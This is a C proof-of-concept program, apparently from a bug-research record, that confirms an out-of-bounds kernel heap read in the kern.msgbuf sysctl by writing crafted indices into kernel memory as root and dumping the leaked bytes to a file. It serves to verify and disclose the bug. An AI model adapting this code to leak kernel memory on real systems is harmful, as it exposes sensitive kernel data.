DF-0035 / msgbuf_oob_decisive.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 | /* DF-0035 — DECISIVE proof of the OOB read via direct state setup. * * The 3rd branch of sysctl_kern_msgbuf (sys/kern/subr_prf.c:1177-1184) is * reachable only when: * xindex_modulo == 0 (msg_bufx is an exact multiple of msg_size) * rindex_modulo > msg_size/2 (msg_bufr's modulo is past the midpoint) * In that geometry the buggy length (n - rindex_modulo) underflows (u_int). * * In normal operation msg_bufr tracks (msg_bufx - msg_size + 2048) so the * second condition can't hold; the only natural way it occurs is right after * root writes kern.msgbuf_clear=1 (which sets msg_bufr := msg_bufx). After * such a clear the branch-3 window is just ONE msg_bufx value wide per * msg_size bytes of new log, which makes catching it via timing very hard. * * This program uses kvm_write to place msg_bufx and msg_bufr EXACTLY in the * buggy geometry, then immediately issues a sysctl kern.msgbuf read with a * large oldlen. If the bug produces an OOB read, we observe it directly: * - the returned length exceeds msg_size (the underflow clipped to oldlen) * - bytes past msg_ptr+msg_size are adjacent kernel heap (non-'D' residue). * * This proves the buggy CODE PATH is an OOB read. Whether it can be timed * naturally is documented separately (it requires root msgbuf_clear + a * 1-byte-wide race window -- see VERDICT.md). * * Build (root): cc -O2 -o msgbuf_oob_decisive msgbuf_oob_decisive.c -lkvm * Run (root): ./msgbuf_oob_decisive */ #include <sys/types.h> #include <sys/msgbuf.h> #include <sys/sysctl.h> #include <fcntl.h> #include <kvm.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <nlist.h> static struct nlist nl[] = { { .n_name = "msgbufp" }, { .n_name = NULL } }; int main(void) { kvm_t *kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, "kvm_rw"); if (!kd) { fprintf(stderr, "kvm_openfiles(O_RDWR) failed: %s\n", kvm_geterr(kd)); return 1; } if (kvm_nlist(kd, nl) != 0 || nl[0].n_value == 0) { fprintf(stderr,"nlist fail\n"); return 1; } struct msgbuf *mbp_ptr; if (kvm_read(kd, nl[0].n_value, &mbp_ptr, sizeof(mbp_ptr)) != sizeof(mbp_ptr)) { fprintf(stderr, "kv read ptr: %s\n", kvm_geterr(kd)); return 1; } struct msgbuf mb; if (kvm_read(kd, (unsigned long)mbp_ptr, &mb, sizeof(mb)) != sizeof(mb)) { fprintf(stderr, "kv read mb: %s\n", kvm_geterr(kd)); return 1; } u_int msg_size = mb.msg_size; unsigned long ptr_off = (unsigned long)&((struct msgbuf *)0)->msg_bufx; unsigned long bufr_off = (unsigned long)&((struct msgbuf *)0)->msg_bufr; printf("msgbufp=%p msg_size=%u msg_ptr=%p\n", (void*)mbp_ptr, msg_size, (void*)mb.msg_ptr); printf("original: bufx=%u bufr=%u\n", mb.msg_bufx, mb.msg_bufr); /* Fill the entire msgbuf with a recognizable marker ('M') via kvm_write * so we can distinguish valid-buffer content from adjacent heap residue. * (mb.msg_ptr is a kernel pointer -- must not be dereferenced from * userspace.) */ { char *pat = malloc(msg_size); memset(pat, 'M', msg_size); if (kvm_write(kd, (unsigned long)mb.msg_ptr, pat, msg_size) != (ssize_t)msg_size) { fprintf(stderr, "kvm_write msg_ptr fill: %s\n", kvm_geterr(kd)); } free(pat); } /* Set up the buggy geometry: * msg_bufx = msg_size (so xindex_modulo == 0) * msg_bufr = msg_size/2 + 100000 (so rindex_modulo > msg_size/2) * Then n = msg_bufx - msg_bufr = msg_size - (msg_size/2 + 100000) * = msg_size/2 - 100000 * The bug computes: (n - rindex_modulo) = (msg_size/2 - 100000) - (msg_size/2 + 100000) * = -200000 (underflows u_int to ~4.095 billion) */ u_int target_bufx = msg_size; u_int target_bufr = msg_size/2 + 100000; printf("setting geometry: bufx=%u (Vm=0), bufr=%u (Vm=%u, > msg_size/2=%u)\n", target_bufx, target_bufr, target_bufr, msg_size/2); if (kvm_write(kd, (unsigned long)mbp_ptr + ptr_off, &target_bufx, sizeof(target_bufx)) != (ssize_t)sizeof(target_bufx)) { fprintf(stderr, "kvm_write bufx: %s\n", kvm_geterr(kd)); return 1; } if (kvm_write(kd, (unsigned long)mbp_ptr + bufr_off, &target_bufr, sizeof(target_bufr)) != (ssize_t)sizeof(target_bufr)) { fprintf(stderr, "kvm_write bufr: %s\n", kvm_geterr(kd)); return 1; } /* Verify state */ struct msgbuf mb2; kvm_read(kd, (unsigned long)mbp_ptr, &mb2, sizeof(mb2)); printf("verify: bufx=%u bufr=%u, n=%u, bug_len=%u (underflow!)\n", mb2.msg_bufx, mb2.msg_bufr, mb2.msg_bufx - mb2.msg_bufr, (mb2.msg_bufx - mb2.msg_bufr) - (mb2.msg_bufr % msg_size)); /* Now do the sysctl read with a large oldlen. If the bug fires, the * returned length will be > msg_size and the bytes past msg_size will * be kernel heap residue (not 'M'). */ size_t oldlen = 1U << 20; /* 1 MiB */ char *buf = malloc(oldlen); if (!buf) { perror("malloc"); return 1; } size_t l = oldlen; memset(buf, 0x5a, oldlen); int rc = sysctlbyname("kern.msgbuf", buf, &l, NULL, 0); printf("sysctl rc=%d, returned length l=%zu (msg_size=%u)\n", rc, l, msg_size); if (l > msg_size) { printf("\n>>> DECISIVE: read returned %zu bytes, %zu MORE than msg_size! <<<\n", l, l - msg_size); printf(">>> This is the u_int underflow (n - rindex_modulo) clipped to oldlen. <<<\n"); /* Show the boundary: where do 'M' bytes stop and heap residue begins? */ size_t last_M = 0; for (size_t i = 0; i < l && i < msg_size + 4096; i++) { if ((unsigned char)buf[i] == 'M') last_M = i; } printf("last 'M' marker at offset %zu (msg_size=%u); bytes [%u..%zu] are past msgbuf:\n", last_M, msg_size, msg_size, l); printf(" msg_ptr+%u .. +127:\n ", msg_size); for (size_t i = msg_size; i < msg_size + 128 && i < l; i++) { printf("%02x", (unsigned char)buf[i]); if (((i - msg_size + 1) % 32) == 0) printf("\n "); else if (((i - msg_size + 1) % 8) == 0) printf(" "); } printf("\n"); /* Hexdump the leaked bytes */ FILE *f = fopen("leaked_bytes.hex", "w"); if (f) { for (size_t i = msg_size; i < l; i++) fprintf(f, "%02x", (unsigned char)buf[i]); fprintf(f, "\n"); fclose(f); printf("wrote %zu leaked bytes (past msgbuf) to leaked_bytes.hex\n", l - msg_size); } } else if (l == msg_size) { printf("\nNOTE: read returned exactly msg_size -- bug did NOT underflow.\n"); } else { printf("\nNOTE: read returned %zu bytes (< msg_size) -- bug is benign here.\n", l); } /* Restore msg_bufx / msg_bufr so the system isn't left in a weird state. * Use the original values we read at the start. */ kvm_write(kd, (unsigned long)mbp_ptr + ptr_off, &mb.msg_bufx, sizeof(mb.msg_bufx)); kvm_write(kd, (unsigned long)mbp_ptr + bufr_off, &mb.msg_bufr, sizeof(mb.msg_bufr)); printf("restored bufx=%u bufr=%u\n", mb.msg_bufx, mb.msg_bufr); free(buf); kvm_close(kd); return (l > msg_size) ? 0 : 2; } |